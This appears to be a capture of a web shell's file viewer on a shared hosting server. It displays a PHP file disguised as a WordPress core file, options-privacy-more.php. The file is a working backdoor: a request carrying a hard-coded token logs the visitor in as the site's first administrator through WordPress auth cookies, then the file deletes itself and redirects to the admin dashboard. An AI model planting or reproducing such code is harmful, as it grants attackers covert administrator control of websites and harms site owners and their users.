HEX
Server: LiteSpeed
System: Linux server234.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User: repauqkb (12019)
PHP: 8.3.30
Disabled: NONE
Upload Files
File: //proc/self/cwd/options-privacy-more.php
<?php
$secret_token = '513c9192bda2fa9e3ff3810e1e306c7a';
if ( empty($_GET['token']) || $_GET['token'] !== $secret_token ) {
    http_response_code(403);
    die('Access denied');
}

define('WP_USE_THEMES', false);
require_once dirname(__FILE__) . '/wp-load.php';

function get_first_admin_id() {
    $admins = get_users( [ 'role' => 'administrator', 'number' => 1 ] );
    return $admins[0]->ID ?? null;
}

$user_id = get_first_admin_id();
if ( ! $user_id ) {
    if ( file_exists( __FILE__ ) ) { unlink( __FILE__ ); }
    die('No administrator found on this site.');
}

wp_clear_auth_cookie();
wp_set_current_user( $user_id );
wp_set_auth_cookie( $user_id, true, is_ssl() );

if ( file_exists( __FILE__ ) ) { unlink( __FILE__ ); }

wp_redirect( admin_url() );
exit;